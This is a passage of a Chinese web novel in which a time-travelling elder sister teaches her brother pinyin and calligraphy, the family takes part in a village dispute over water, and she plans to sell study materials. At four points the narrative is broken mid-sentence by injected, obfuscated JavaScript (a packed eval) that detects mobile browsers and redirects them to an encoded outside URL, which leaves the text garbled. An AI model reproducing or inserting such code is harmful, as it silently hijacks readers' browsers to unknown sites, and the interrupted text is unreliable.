换算成现代时间,便是早上六点起床,七点开始上课,每节课四十五分钟,课间休息十五分钟。上午四节课十点四十五分上完,下午三节课两点开始,四点四十五结束,其余时间就是写家庭作业和自由活动时间了。 谢霁一一点头应下。 谢韫就道:“好了,第一节课就上到这里,休息一下。” 谢霁眨眨眼,忙去看墙角的沙漏,三刻钟竟过得这么快? 谢韫瞧见了觉得好笑。只是发个书,讲讲上课规矩,自然没有用到三刻钟。只是她还保留了现代上学时的习惯——开学第一节课,大家默认就是领书本的时间,学生们趁机在底下打打闹闹,老师也都睁一眼闭一只眼。 短暂休息过后,从第二节课开始就没那么轻松了。 一上课,谢韫就先提了一个问题。 “从前爹爹在时,每每帮人写信,也曾叫你在旁研磨,你回忆回忆,爹爹那时写的字可与《识字入门》这本书上的一样?” 谢霁打开书,上面内容全是手写,纸张又是最薄的糙纸,他不敢大翻,生怕一不小心就撕下一页来。小心翼翼翻看了几页,思索道:“似乎是字体不同。” “哦?”谢韫挑眉,“如何不同?” “我之前看阿爹写信,一笔一划,阿爹说那是字的筋骨。可阿姐的书上,这些字扭扭曲曲,横不像横,竖也不像竖。” 说罢问谢韫:“阿姐,我说的对不对?” 谢韫满意点头,“读书最重要的就是动脑子,阿霁,你做的很好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见两个儿女都如此懂事,王氏心里很是服帖,但她不愿耽误他们的读书时间,挥手道:“不用,这些活阿娘干的动,霁儿好好读书,争取早日考上秀才,到那时咱家才算是翻了身了。” 跟大多数古人一样,王氏已经过了“贫民不配科举”这个坎儿,现如今她也将以后的希望寄托到了读书这条道路上。 她背起麦筐脚步生风的出了门,谢霁看着关上的大门,沉声道:“姐,我一定努力读书。” “阿姐相信你。”谢韫在他的肩膀上鼓励般拍了拍。 一个早上的时间,谢韫一共教了他六个韵母“a o e i u ü”和四个声母“b p m f ”,又指导着做了三页课时练加深记忆,才放了课。 这些拼音若是放在真正的小学一年级学生的身上,必得有个长时间学习记忆的过程,但谢霁已不是幼童,谢韫打算先测测他的吸收能力,再根据情况调节教学进度的快慢。 5. 古人学拼音 两人上完了课,王氏出门磨面还没有回来。 谢韫道:“听说新麦下来后磨坊里每日人挤人,阿娘估计没那么快回来,咱们先吃饭,吃完我再去给阿娘送饭。” 谢霁道:“还是我去送,阿姐教学辛苦,中午好好歇歇。那些字母我在路上也能读的。” 两人商量着正准备进灶房烧火,隔壁的柳婶子却在这时敲开了院门。 她见谢家没有大人在,为难道:“前日借你家一桶水,今日准备还,偏巧你们阿娘不在。” 柳婶子借水的事谢韫是知道的。清水村虽叫这个名儿,但实际上从几十年前开始,村里所有的水井干涸,再也挖不出水来。村民们平日里吃水都要去几公里外挑回山泉水,很是辛苦。 柳婶子的男人前日起晚了,没有抢到水,就从她家借水应急,今日这是有了多的来还了。 谢韫道:“阿娘回来我告诉她也是一样,就让阿霁去你家提回来吧。” “那你们腾出一个空桶来,”柳婶子道:“我家的桶晌午后你大山叔还准备再去碰碰运气,不得闲的。”村民们为了吃水想尽办法,一得空就去排队抢水。 谢韫一边与她说着闲话:“大山叔今日可是得闲了?”一边进灶房麻利的腾出一个空水桶来。 柳婶子脸上有了几分笑容:“紧赶慢赶秋种总算播完了,能歇几日了。” 她领着谢霁上自己家提水,水提回来,谢霁就同谢韫商量道:“大山叔说他准备天一擦黑就去抢水,要不我跟着一块儿去,也能做个伴儿。” 家里的水缸已经下去了多半,就算今晚不去挑水,明日一早也得去,但往日这些活儿都是阿娘干的,谢韫不免有些犹豫。 谢霁见她迟疑,不由急道:“姐,如今我已开蒙,也算是大人了,家里这些重活我该学着分担才是。” “是要分担,可也得量力而行啊。”谢韫道:“你这身板哪里能担的起家里那两只大木桶。” 王氏常年一人支应一个家,男人女人的活都要干,有的是力气,家里那两个木桶比一般人家的尺寸大的多,就是为了一趟多担些水回来。 可谢霁才十三岁,身量还未完全长开,这样的重量他根本吃不消。 谢霁见姐姐只是怕他担不起来水桶,连忙道:“这简单,我去借水根叔家的水桶,我方才听大山叔说他家的水缸早就满了,晚上肯定不用再去抢水。” “那待会儿送饭时你再问问阿娘的意思,得她点头才行。” 谢霁觉得阿娘那里问题不大,兴冲冲的去借水桶了。 中午饭后,姐弟二人刚张罗着要去送饭,王氏就回来了。 谢韫惊讶道:“面磨完了?” “还有得等呢。”王氏一路上被晒得嗓子直冒烟,进门先就奔到灶房灌了一碗凉水,歇匀了气儿才道:“我见等不住,就跟磨坊打了个商量,麦子放他家看着,今日磨完明日我再去背。” 附近村镇村民们磨面都去杨家磨坊,长年累月的打交道,彼此也都相熟了,磨坊平日里虽不负责帮他们看管粮食,但谁要是有个急事,偶尔打个商量还是可以的,大不了多饶他几两麦麸。 王氏看见谢霁手里提着食盒,问道:“你们都吃过饭了?” 谢霁道:“早就吃过了,我和阿姐一块儿做的,本来还准备给阿娘送饭呢,这下倒不用再跑了。” 他将饭食从食盒里端出来,王氏就地坐在檐下阴影处吃了起来。 谢霁心里还记着晚上跟大山叔抢水的事情,于是就将中午的打算全盘说了。 谁料王氏想也不想就道:“我就是为这事回来的,晚上我去就行,你在家好好读书。” “娘,我水桶都借来了。”谢霁急道:“何况姐姐都同意了,不会耽误功课的。” 从前家里的活母子三人干起来都是有商有量,可自从他决定读书后,很多事阿娘就突然不让他做了,这让谢霁很不习惯。 谢韫这时就打圆场道:“要不阿娘今日歇一歇,晚上我跟阿霁一块儿去......” “更不行。” 她话还没说完,王氏直接打断了她,态度坚决,“你已及笄,晚上乌漆嘛黑的,还是在家的好。”她想了想,折中道:“既然有多余的水桶,晚上我跟霁儿一块儿去,你关紧门户早些睡觉。” “那你们路上当心些,多拿一个火把。”谢韫只好妥协。 下午上课,谢韫先考了谢霁的读音——十个字母,她每指一个,谢霁都能读的出来。 “记性不错,”谢韫赞了一句,“接下来学习声调与两拼音节。” 所谓声调就是官话里抑扬顿挫的音调,两拼音节则是对早上所学声母和韵母的简单组合拼读。 她道:“咱们平日里说的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784950|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫做方言,方言十里不同音,可官话不同,学会了官话,走到哪里别人都能听得懂。而要学好官话,今天讲解的音调规则就至关重要了。” 谢霁端正坐姿,打起精神听了起来。 谢韫的讲解深入浅出,很有意思。她用“a”举例,烧火棍在木板上间隔写了四个“a”,分别标上了一声、二声、三声和四声,道:“跟我读。” 四个声调她读一遍,谢霁就学着她的发音依次跟读一遍。 谢韫再用生活实际来举例,“比如我们平时经常说的语气词''啊'',”她转身在黑板上写了四个“啊”,引导道:“嘴张大,用声带发音,ā——这是平声,手放在胸前就可以感觉到胸腔的震动;再比如,隔壁柳婶子隔着院墙喊了一句,你没有听清时就会问''啊?你说什么?’á——这是二声,尾音较轻。 ” “柳婶子听到你的问话,又说了一句,这回你听清了,她说的是咱家后院的鸡之所以经常飞过院墙飞到她家去,是因为鸡的翅膀太长了,阿娘该给鸡剪翅膀了,你恍然大悟,会说......” 谢韫话音一顿,看向谢霁。 谢霁反应很快,连忙接道:“我会说''啊,原来是这样。''” “对,这就是三声。”谢韫点头,继续引导:“阿娘给鸡剪了翅膀,它们再也不会飞到别人家里去了,这时你会说——” 谢霁答:“啊!这个办法真好!” “这便是四声。” 声调容易理解,标调规则就需要记忆了。而在学标调规则前,得先知道什么是两拼音节。谢韫还是用生活中最常见的字词举例引导,譬如你、我、他、大地、泥土等等。 如此你来我往般互动着学完两节课,谢霁脸上的表情明显比早上凝重的多。谢韫宣布可以休息了,他也依旧坐在书桌前练习拼读,直到谢韫强制要求他起来走走,换换脑子,他才肯离开自己的位置。 谢韫看见他的模样,依稀记起自己小时候学拼音的情景,那时老是混淆声母和韵母,标声调时也总是搞不清优先级。 此时教学生,她反其道而行,并不急于让谢霁一下子就能全部理解,而是教他:“理解不了就先死记硬背,等日后用的多了自然而然也就会了。” 就像学习加减乘除,小时候老是因为算错吃手板,可等长大了,数学再不好的人也不会再错,原因无他,唯熟尔。 6. 抢水 到了下午最后一节课,谢韫本想再教几个字母,可看他已经有了吃力之态,只好先歇了心思,依旧让他如早上一般拿出课时练,手把手教着做了三页。 谢霁只觉得这一天过得极快,姐姐教的知识他还没有全盘掌握,课就上完了。 下课前依旧被布置了晚间作业。 “同步练习册上今天所学要全部做完,同步生字帖也一样,每日按照教学进度练习。做完要给我检查,若是全部掌握了,晚间剩下的时间你可自由支配,若是还有欠缺,就要继续练习,哪里薄弱练习哪里。” 谢霁一一点头应下,照例起来活动了一刻钟,就投入到晚间作业中去了。 谢韫则回东屋喝水。今日不间断的上了七节课,她嗓子都快说冒烟了,上到最后一节时,音色已经明显有些哑。 看来教学方式得改一改。 现代学校里老师们都是错开上课,学生要学的科目也多,不像现在,一天七节课,全天都是语文,还都是她一个人在讲,长此以往嗓子怕是要废了。 润嗓子最好是喝蜂蜜水,可乡下地方蜂蜜珍贵难求,王氏见她嘴唇发干,心疼的连着倒了两杯温开水,道:“改日我去镇上给你换些麦芽糖来泡水喝。” 谢韫不愿再给家里增添额外的开支,道:“不妨事,我歇一歇明日就好了。” 谢霁一直到王氏叫吃晚饭,才一脸疲色的从西屋出来。 谢韫问他:“作业写得如何了?可顺利?” 谢霁赧然道:“才做完同步练习册,有几道题阿姐上课讲时我笔记做的不够详细,记不太清了,想着等全部做完后再来请教姐姐。” 这些都在谢韫的意料之中,他才刚开始学,字都不认识几个,做笔记时不知如何下手很正常。 谢韫道:“无妨,等你写完同步生字帖,我再一起检查订正。”又交代:“同步生字帖的作用有两个,一来能够让你在练习中加深记忆,好记性不如烂笔头嘛,二来写字也是科举很重要的一环,从练习拼音开始你就要养成每日练字的好习惯,练字过程中切忌心浮气躁、急于求成。” 她的教导谢韫全都放在了心上,饭后正写着作业,大山叔来了,他是来提醒晚上出发时间提前的事,谢霁强忍着心痒,强迫自己集中心神在手中笔上,人则由王氏去招呼。 大山叔跟王氏解释道:“我下午才听说赵家岭有人盖房子,最近每每半夜都去泉边守着,不拉够第二日用的水就不让旁的人近前,咱们今天早些出发,赶在赵家岭的人来之前先将水源给占了。” 王氏满口答应着将人送了出去,回来将鸡鸭赶进窝里又封了窝门,嘱咐谢韫道:“我们出去时会从外面锁上大门,你睡时关好屋里的门窗,不必等我们。” 谢韫有些担心,“赵家岭的人向来霸道,此次又事关水源,要不要提醒大山叔让他多叫些人,万一发生了冲突以免吃亏。” 这样的事以前也不是没有,尤其是久不下雨的时候,几个村的人都指望着那几口山泉,为了争水打的头破血流的事时有发生。 王氏想了想,道:“我去问问你大山叔。” 谢韫看她急急出了门,又去嘱咐谢霁,万一发生冲突,一定要护着阿娘莫要受伤。 谢霁听罢,脸色沉沉道:“姐姐放心,赵家岭那帮人要是霸道过了头,咱们其他几个村的人也都不是孬的,定叫他有来无回。” 谢韫听他说的这样严重,心里一紧,但也知道每个地方都有它自己的生存之道,譬如在这清水村,有些规矩就是打架打出来的,无可避免。 只能再三叮嘱他,万事看大山叔和阿娘的眼色行事,莫要强出头。 王氏出去的时间有些久,谢韫盯着谢霁将同步生字帖全部写完了,她才回来。 一回来就道:“放心吧,你大山叔听了我的劝,在附近几个村都叫了人,这么多人,不信赵家岭的人不害怕。” 虽是夏日,但山上的晚上还是有些冻人的,王氏从箱子里翻出了自己和谢霁的夹衣。纠集了这么多人虽达到了人多势众的目的,可去的人多了,也就意味着今晚挑水的队伍变长了,她已经做好了排一晚上队的准备。 等两人走后,家里就剩谢韫一个人了,她不敢大意,天一黑就紧闭了门窗,屋里点上蜡烛,盘腿坐在炕桌前检查起谢霁的晚间作业来。 同步练习册做的还可以,除了他先前表明不会做的那几道,其余全都做对了,同步生字帖上拼音也临摹的有模有样。谢韫检查完又想起他下午写字时握笔的姿势有些歪斜,心里记下,准备明日上课时再行纠正。 夜晚太长,离睡觉的时辰还早,谢韫盘腿坐在炕桌前编写起了书。 次日醒来时,王氏早就起了,正在院里晒柴禾。 谢韫问:“你们昨晚何时回来的?我怎么一点也不知道。” “都快寅时了。”王氏说着笑道:“昨晚也不知你是如何睡着的,我回来时炕上的笔墨纸砚都没有收,好悬你没有在睡梦中打翻砚台。” 谢韫一听赶紧回屋去看,果然看见炕桌挪到了炕角,笔墨纸砚已被王氏整理的整整齐齐放在上面。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784951|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她不由赧然道:“大概是想事情想的太久了,迷迷糊糊就睡着了,连你们何时回来的都不知道。”又问,“你们昨晚如何了?赵家岭的人去了吗?” 王氏哂笑道:“怎么没去?那些人平日里强盗惯了,看见我们这么多人还敢耍横,被你大山叔他们给狠狠教训了一顿。” 谢韫忙问:“大山叔他们可有受伤?你跟阿霁可有参与?” 王氏道:“其他人都没啥事,就是你弟弟伤了额头,我正准备吃过早饭去大田村找田郎中要两剂膏药回来给他贴呢。” 谢韫一听,着急道:“阿霁受伤了?伤的重不重?不是说大山叔找了好多人么,怎么打架还要他一个小孩子上?” 她说着就要到西屋里去看谢霁。结果还没上台阶,西屋门就从里面打开了,谢霁从屋里蹦出来,笑道:“阿姐我没事,好好的。” 谢韫将他浑身检查了个遍,发现确实除了额头上不到一厘米的口子外,再没有受伤的地方,这才松了口气。 可还是不敢大意,脑袋是能随便伤的吗?一家子都指望着他考科举实现阶层跨越呢,这边自己刚想出赚钱的办法,那边他要是伤了脑袋,从此再读不进书了,岂不是白费了她的百般谋划? 她道:“光贴膏药哪行?还是得请田郎中亲自来看一趟才安心。”也不知这伤是怎么受的,若是被棍子打的,那极有可能成脑震荡,可不敢大意。 “头晕不晕,想不想吐?或者眼前花不花?” 谢霁见姐姐如此紧张,赶紧给她宽心,“我真没事,而且这伤也不是被人打的,是我和阿娘捡柴禾时路太黑在林中摔倒磕的。” 林中? “你快说清楚到底怎么回事?” 事实上谢霁是极不愿意说原因的,毕竟这其中还有个面子问题,可为了让姐姐安心,他只好道出了原委。 原来赵家岭那帮人被大山叔叫来的人三下五除二就赶跑了,压根没有谢霁发挥的余地。但因着排队打水的人多,谢霁和王氏就想趁着等待的间隙顺手到山泉附近的林子里捡些柴禾。昨晚虽然月色不亮,但乡下人摸黑干活是常有的事,早就习惯了。 两人各捡了两捆柴,背着就准备回去继续排队,没想到谢霁走着走着就一脚踩空摔了跟头,头正好磕到了地上凸起的硬土块上。 原委说完了,谢霁还不忘叮嘱她:“昨晚乌黑麻漆的,这事大山叔他们都没怎么注意,姐你可别给我说出去。” 小小年纪面皮还挺薄,谢韫忍着笑点头,“不是被人打的就好,以后走路当心些。” 7. 如何写好字 因着昨晚熬了夜,谢韫怕一早上课他精神不济,便问要不要再回去睡个回笼觉。 谢霁摇头道:“不用了,姐姐不是告诉过我,一日之计在于晨,我不想把时间都浪费在睡觉上。” “那好,咱们就按照规定时间正常开课。” 今日开讲,谢韫不再像昨日一样连讲七节课,而是间隔开来,先讲解一节课的新知识,再留出一节给谢霁,让他结合课时练自行消化上一节课的内容,下午也是一样,第一节和第三节讲解,中间一节自习。 如此半个月下来,她每每检查他的晚间作业,发现同步练习册上他不会做的题越来越少,直到最后几乎一道题也不错。《识字入门》前半部分的拼音单元全部学完后,又来了一堂随堂考,检查他的整体掌握情况。 谢霁将整套卷子做完交回批改,谢韫发现他只错了一道三拼音节的音调标注题。看来边写边消化的方法确实比一味的强行灌输要有用的多。 拿到批改结果,不止谢霁高兴,谢韫也觉得两人这些时日的辛苦没有白费。随着学习的深入,谢霁每日花费在课业上的时间一日比一日长,因为不止要掌握新的知识,还要寻隙复习之前的,以免边学边忘。 谢韫则是除了日常讲课,还要抽空继续抄书、整理后续教学资料。两人都是一天比一天睡得晚,早上的洗脸水都从温水换成了凉水。王氏没办法在读书的事情上帮忙,只好一肩扛下了家里大半的活计,尽量给他们减轻负担。 一家三口每个人身上的担子都是越来越重了,但反而觉得这样的日子很有奔头,再不像以前那些茫茫然的数着天数过日子了。 谢霁将满篇红勾的考卷收进书箱,一脸期待的问谢韫,“姐,接下来是不是可以开始学习写字了?” 一场随堂考大大鼓舞了他,他已经迫不及待的进入下一阶段了。 学拼音期间,谢韫为了举例子也教了他几十个字,此时再教,则是从《三字经》《千字文》开始学起,一笔一划教他如何下笔,一字一词教他如何诵读成句。 这两本书的教学计划是三个月,学完之后,开蒙课程就能告一个阶段。 但实际上,按书塾正常的教学进度,《三字经》《千字文》作为经久不衰的国学启蒙识字教材,夫子至少要教个一两年。 可谢霁却没有那么多的时间。三个月,是谢韫反复思量权衡后定下来的期限。 经过这段时间的观察,她发现谢霁于读书一道上虽称不上天才,但他非常能吃苦,且较真。每日布置给他的任务,无论学到多晚,他都会按照要求完成,半点折扣不打。 勤能补拙,这就够了。于是非常时期行非常之法,谢韫简单粗暴的给这三个月的学习定下了基调,一个字——背。背原文、背注音、背释义解析。 先讲解,再背诵,统统背下来,再说其他。 时下士人讲究做学问要领悟圣贤之意,融会贯通,可怎么领悟?怎么贯通?说白了还是背,迅速扩大知识面,肚子里各式各样的文章多了,自然就有了融会贯通的先决条件。 谢韫是从现代应试教育里蹚过来的,对她来说划重点、背考点就是家常便饭。 可谢霁第一日课上完,脸就白了。他明显感觉到谢韫此时的授课速度比教拼音那会儿快了不止一倍,她再不会像教拼音期间那样,每讲完一个知识点,都要跟他确认是否掌握了。 谢霁舔了舔干裂的嘴唇,问道:“阿姐,是否讲的太快了些?” 谢韫问他:“听不懂还是跟不上?” “懂倒是懂,就是速度太快,我消化起来感觉有些吃力。” 谢韫想了想,解释道:“从前教你拼音,是考虑到你接受新生事物需要一个过渡的时间,如今不同,这些词句全都注了音,若是你按照要求好好预习,在我讲解之前做到熟读不是问题。那么每日上课,你就只有两个任务,一是学会背,二是学会写。这没什么难的。” 真不难? 谢霁听着她那无情且决绝的话,顿时再多的话也只能吞回去了。日后的每一天,正像是她说的那样,背,背到唾沫横飞,背到走火入魔。 只是偶尔看到《识字入门》的时候,心里总会忍不住疑惑,“阿姐是不是着急糊涂了?《识字入门》后半部分的百家姓还一字未讲呢。” 等他有一日终于忍不住将这个疑惑问出口的时候,谢韫却微微一笑,道:“《百家姓》共收录408个单姓和38个是复姓,确实是识字的好书,但它没有文理,不需要讲解。你已学会了拼音,这本书就留给你做课外练字的素材。期限还是三个月,不过每次大考我偶尔也会抽查你的自学情况。” 又是大考。谢霁现在一听到这个词就忍不住后脑勺疼。 为了给他留出充分的诵读时间,谢韫将早上第一节改成了早读课,又将第二节和第三节调成连续讲课时间,第四节则留给他自行消化吸收。下午也是如此,前两节连续授课,第三节用来自习。 如此调整还不算。为了能更好的掌握他的学习情况,谢韫每天上课第一件事就是让他站起来,将昨日学的内容全部背诵一遍,先摸底再进行新知识的讲授。 凡是学生,就没有不害怕考试的,更何况还是这种强度的考试。等学的内容越来越多,谢韫除了每日的例行抽查,还会每六日出一套考卷,所考题型涉及填空、简答、释义等等。做完就当堂判卷打分,那红彤彤的朱笔每每落下,谢霁的心肝都要跟着颤上三颤。 考的好与不好奖惩也不同,考的好了大考之后就能沐休一日,考的不好第二日则要全天查缺补漏,沐休当然也就没有了。 如此一日一小考六日一大考,谢霁感觉神经日日都紧绷着。谢韫则美其名曰让他提前感受考前的紧张氛围,只有绷习惯了,真正到了考试那日,他才能做到如平常一般。 当然,每个月结束的时候也有能放松的一两天。每到这时,谢韫便会教他一些其他知识作为过渡。 第一个月教了他一首《对韵歌》。 天对地,雨对风。大陆对长空。 山花对海树,赤日对苍穹。 雷隐隐,雾蒙蒙。日下对天中。 风高秋月白,雨霁晚霞红。 牛女二星河左右,参商两曜斗西东。 十月塞边,飒飒寒霜惊戍旅; 三冬江上,漫漫朔雪冷渔翁。 这首对韵歌节选自《笠翁对韵》,现代国学启蒙读物中,这本书与《声律启蒙》《训蒙骈句》并称“吟诗作对三基”。谢韫作为传统文化发烧友,她还记得当时自己初学对仗,对它实在爱不释手,恨不得睡觉都抱在怀里。 此时节选出一段来给谢霁讲解简直手到擒来,从字词注音到句中释义,从平仄规则到用典手法,多角度解析,短短八句花了两节课还没有讲完。 谢韫知道自己说的他一时半会儿并不能全盘掌握,但她讲这首《对韵歌》的用意有二,一是这些句子读起来朗朗上口,内容也贴近生活实际,算是给谢霁换个口味;二来科举第一考童试里的对句和诗赋题均要用到平仄和用典,而学习《对韵歌》就是最好的入门办法。 她道:“这首对韵歌是《笠翁对韵》里的初篇,你刚开始学,只需学会欣赏它就行,等日后学的多了,自然就能融会贯通,学以致用。” 谢霁听的十分感兴趣,两节课下来,不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784952|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再特意记忆,也已经能流利的背诵出来了。 下午下课时,谢韫照例给他布置了晚间作业,练会前四句里的所有字,包括它的注音,另外今日所讲的前四句释义和典故也要再次复习巩固。 谢霁信心满满:“姐姐放心,保证完成任务。” 谢韫道:“光是会写不行,还要写好写端正,我观你最近做的同步生字帖,每每写到最后,字里行间就有了浮躁之气,你是否觉得练字很是枯燥?” 谢霁读书以来,姐姐都是以鼓励为主,这还是头一次被教训。他不由脸一红,实话实说道:“每日要学的东西越来越多,我练字花费的时间也越来越长,家里家外的活最近都是你跟娘两个人干,我一想到这些就有些坐不住,只想赶紧写完帮娘去干活。” 他说完又疑惑道:“姐姐,你教的这些知识我都已经掌握了,字好不好的别人能认识不就行了?” 谢韫听了这些也不恼,而是给他编了一个故事。 “我小时候见过一个神童,三岁能书五岁能诗,《四书五经》更是过目不忘,十岁就考过了县试和府试,此后再考院试,你猜怎么着?” “肯定很容易就考过了。”谢霁羡慕道:“姐,他考个秀才可真容易,我要是也有过目不忘的本事就好了。” 谢韫却摇了摇头,“此后他年年考院试,却年年落第,同窗里没他聪明的、比他学的晚的,考上两三次大都成了秀才,可他却一生蹉跎在了童生试上面。” 谢霁目瞪口呆,“这是为何?” “因为他字写的不好。他仗着自己能过目不忘,自以为阅尽天下书,考个状元也是手到擒来,自负至此自然不会将精力花费到练字这样的小事上。可他不知道,他能过县试和府试,只因当地县里和府里的父母官怜他年纪小写不好字情有可原,又有想用他做典范兴盛当地读书之风的心思,这才让他榜上有名,可院试要到别府去考,那里的主考官可不会送他人情分,一见他的字,卷上的内容看都不看,直接判了落第。” 谢霁听罢,半晌没有说话,久久才嗡声道:“姐,我知道错了,以后我一定认真练字。” 谢韫道:“阿霁,你需记住,字是一个人的门面。就像咱家院门前的那片空地,阿娘为何要日日早起扫的干干净净?因为那是咱家的门面,打扫干净了,从门口经过的人只要一看就会知道这家人干净讲卫生。” “字也是一样,文人都讲究个‘字如其人’,等你以后开始下场考试,考官阅卷时不会先调查一番你为人如何,要是你一笔烂字不入人家的眼,直接判你个落第都是轻的,更有严苛者还会治你个蔑视科考之罪。” 谢霁听得脸色发白,他实在没有想到,只是写不好字,后果竟然这样严重。 谢韫见他神情,知道这回是听进去了,才缓缓收住了话题。实际上她说这些还真不是危言耸听,她自己就是从现代应试教育里脱颖而出的佼佼者,高考时老师强调的重中之重就是字体要端正,要不然机器阅卷很容易误判,她一直记到今日。 而在古代,士大夫更是喜欢以字相人,往往一笔好字就能决定一个人在素未谋面者心目中的第一印象。她从教学之初,就已经对谢霁的字体做了规划,同步生字帖里让他临摹的正是被后世誉为考试专用字体的馆阁体。 这种字体方正、光洁,视觉效果整齐规范,是官场公文的专用字体,据说有人当了官后为了写出一篇让上官看好的奏章,硬是弃了自己原先的字体,改练馆阁体。 足可见一笔好字对一个人仕途的重要性。 有了这些话,不用她再特意嘱咐,晚上谢霁写完了布置的作业后,又拿出同步生字帖练起来。 8. 知识付费 第二个月结束的时候谢韫又教了一首《悯农》。 锄禾日当午,汗滴禾下土。 谁知盘中餐,粒粒皆辛苦。 谢霁依旧学的十分有感触,第一次觉得并不是所有的读书人都高高在上,有人也会关注农人,体谅他们的辛苦。 如此日复一日的学习,谢霁肉眼可见的瘦了一圈儿,精神头却是越来越好,身量也抽高了两三寸。 他从前与人说话总带着些畏缩,跟人对视也总是不自觉的眼神乱瞟,可自从读书以来,整个人明显开始自信起来。 以前是听了阿姐的话,心里憋着一口气读书,到底能读到什么程度,谢霁心里是没底的。可不知从什么时候起,他竟开始变得从容起来,开始相信,只要跟着阿姐的脚步,一切的期待总有变成实现的一天。 ...... 谢霁又一次写作业写到半夜,王氏到西屋催了三趟让他早些休息,都没有效果,只好无奈回屋。 回来见谢韫也趴在炕桌上忘我的奋笔疾书,不由道:“你们姐弟今儿个这是怎么了?读个通宵就能考上状元了?屋里灯光昏暗,小心熬坏了眼睛。” 谢韫其实是在写营销方案。 谢霁读书的事已经走上正轨,接下来就该琢磨赚钱的事情了。可怎么赚呢?最好的办法当然是充分利用自身优势,盘活现有资源。 她决定卖自制的启蒙教辅资料。 一来,这些教辅资料花了她很多心思,要是只给谢霁一个人用实在浪费。 二来,因着打算让谢霁读书的缘故,前期她曾狠花了一番功夫对县城的两个书铺进行了实地考查,发现书铺里能算得上参考书的除了唯二的《四书章句集注》和《册府元龟》外,书架上连一本《真题汇编》都没有,更别说各类范文集、模拟题了。 怀阳县的教辅市场竟然一片空白。 谢韫想起现代的书店,随着网络的兴起,实体书店早已式微,可就是在这样糟糕的大环境下,有一种书店却从未亏过本,那就是学校门口那种一间大、连书都不好好摆到书架上的教辅书店。 她还记得当年上学时曾算过一笔账,一个学生每年花在各类教辅资料上的钱加起来比学费都还要贵,而且年级越往上,需要买的各类参考书就越多,花费自然也就越大。 谢韫觉得自己找到了这个时代的风口——卖教辅资料实在是一门稳赚不赔的生意,不论古今。 可具体要如何操作呢? 谢韫在营销方案里用朱笔标出了两个关键点,一是受众,二是性价比。 受众好理解,销售对象嘛。她要卖启蒙教辅,销售对象当然就是刚刚开蒙的孩童。但以清水村为例,全村读书的孩子不过十来个,其中有一半还是受谢安的影响才进入私塾的。周边其他村子的情况大抵跟清水村类似。 谢韫想到,自己要卖教辅,肯定要先从周边开始开拓市场,可是受众面实在太小了。 所以想来想去,要想做这营生,当务之急就是想办法拓宽受众面。如何拓宽?最好的办法就是让大家意识到读书有用,能赚钱、能致富。一件事只有对自身产生了最直接的正向影响,大家才会趋之若鹜。 再则就是高性价比。县城书铺里一本薄薄的《千字文》就要七十文,更别说其他那些动辄就几卷起步的书籍,价格恐怖可想而知。百姓即使再认为读书有用,面对这样的天价也只能望而却步。她的教辅资料只有把价格打下来,让人人都能买的起书,才会有人愿意读书。 谢韫正陷在头脑风暴里,听见王氏催促,头也不抬的回了句:“娘,你先睡吧,我想出了一个挣钱的法子,得再仔细琢磨琢磨才行。” “挣钱的法子?”王氏起了兴致,“先说给娘听听。” “得等我写完才行。” “行,你先写,我叫你弟弟也来听一听。” 王氏说着,脚步一转又去了西屋。 既然要挣钱,那就是一家三口人人有责。再者,她也想找个借口让谢霁换换脑子。 谢霁一听有了赚钱的法子,果然就跟着王氏过来了。 母子二人在一旁耐心等谢韫写完,才齐齐露出了期待的目光。 “姐,到底是啥法子啊?” “卖教辅。” 谢韫将刚写完的营销方案递给谢霁,但也知道他目前还是个半吊子,里面很多字词还不认识,于是又将里面的内容用两人容易理解的话简单概述了一遍。 谢霁听完想了想,才总结道:“也就是说要想把书卖出去,就得先让村民把孩子送进私塾去读书。” “是这个意思。”谢韫点头,“要想快速积累财富,种地显然行不通,只有找个营生,以小博大,才有可能实现。但我们手里没有本钱,教辅资料是我能想到的唯一资源,所以即使知道受众狭小,我们也别无选择。” 王氏跟着点头:“阿韫说的对,咱们这里的情况我最是清楚不过,以前整个村里只有两三个孩子读书,是你们爹爹来了以后,村里读书的孩子才渐渐多起来。饶是这样,两只手也数的过来。如果读书的人不多,咱们这书就算人手一本,赚个几百文也就到头了,还是一竿子买卖。” 